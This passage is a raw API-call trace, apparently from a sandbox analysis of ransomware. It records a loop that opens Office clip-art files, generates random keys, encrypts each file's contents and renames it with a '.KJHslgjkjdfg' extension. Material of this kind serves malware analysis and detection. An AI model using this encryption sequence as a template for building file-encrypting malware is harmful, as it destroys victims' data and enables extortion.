0x2a0000 [0172.985] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.985] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.985] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.989] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.989] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.989] GetProcessHeap () returned 0x2a0000 [0172.989] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.989] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.989] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.989] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.990] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.990] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.990] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.990] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.990] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.990] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.990] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x258c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x258c, lpOverlapped=0x0) returned 1 [0172.991] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2590, dwBufLen=0x2590 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2590) returned 1 [0172.991] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.991] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2590, lpOverlapped=0x0) returned 1 [0172.991] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.991] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.991] SetEndOfFile (hFile=0x114) returned 1 [0172.993] GetProcessHeap () returned 0x2a0000 [0172.993] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.993] GetProcessHeap () returned 0x2a0000 [0172.993] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.kjhslgjkjdfg")) returned 1 [0172.995] CloseHandle (hObject=0x114) returned 1 [0172.995] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1788, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107480.WMF", cAlternateFileName="")) returned 1 [0172.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.995] GetProcessHeap () returned 0x2a0000 [0172.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.995] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.995] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.995] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.997] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.997] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.997] GetProcessHeap () returned 0x2a0000 [0172.998] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.998] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.998] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.998] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.998] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.998] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.998] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.998] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.998] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1788, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1788, lpOverlapped=0x0) returned 1 [0172.999] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1790, dwBufLen=0x1790 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1790) returned 1 [0172.999] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.999] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1790, lpOverlapped=0x0) returned 1 [0172.999] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.999] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.999] SetEndOfFile (hFile=0x114) returned 1 [0173.002] GetProcessHeap () returned 0x2a0000 [0173.002] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.002] GetProcessHeap () returned 0x2a0000 [0173.002] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.kjhslgjkjdfg")) returned 1 [0173.003] CloseHandle (hObject=0x114) returned 1 [0173.003] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1374, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107482.WMF", cAlternateFileName="")) returned 1 [0173.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.003] GetProcessHeap () returned 0x2a0000 [0173.003] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.004] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.004] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.004] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.006] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.006] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.006] GetProcessHeap () returned 0x2a0000 [0173.006] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.006] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.006] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.006] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.006] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.006] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.006] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.007] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.007] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.007] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.007] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.007] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.007] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1374, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1374, lpOverlapped=0x0) returned 1 [0173.008] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1380, dwBufLen=0x1380 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1380) returned 1 [0173.008] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.008] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1380, lpOverlapped=0x0) returned 1 [0173.008] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.008] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.008] SetEndOfFile (hFile=0x114) returned 1 [0173.010] GetProcessHeap () returned 0x2a0000 [0173.010] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.010] GetProcessHeap () returned 0x2a0000 [0173.010] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.kjhslgjkjdfg")) returned 1 [0173.011] CloseHandle (hObject=0x114) returned 1 [0173.011] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107484.WMF", cAlternateFileName="")) returned 1 [0173.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.013] GetProcessHeap () returned 0x2a0000 [0173.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.013] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.013] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.013] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.013] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.013] GetProcessHeap () returned 0x2a0000 [0173.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.013] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.013] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.013] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.015] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.016] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.016] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.016] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.016] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.016] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.016] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.016] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.016] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbe0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbe0, lpOverlapped=0x0) returned 1 [0173.016] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbe0) returned 1 [0173.016] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.016] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbe0, lpOverlapped=0x0) returned 1 [0173.016] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.016] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.016] SetEndOfFile (hFile=0x114) returned 1 [0173.018] GetProcessHeap () returned 0x2a0000 [0173.018] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.018] GetProcessHeap () returned 0x2a0000 [0173.018] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.kjhslgjkjdfg")) returned 1 [0173.020] CloseHandle (hObject=0x114) returned 1 [0173.020] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107488.WMF", cAlternateFileName="")) returned 1 [0173.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.020] GetProcessHeap () returned 0x2a0000 [0173.020] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.020] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.020] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.020] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.020] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.021] GetProcessHeap () returned 0x2a0000 [0173.021] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.021] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.021] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.021] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.022] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.023] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, 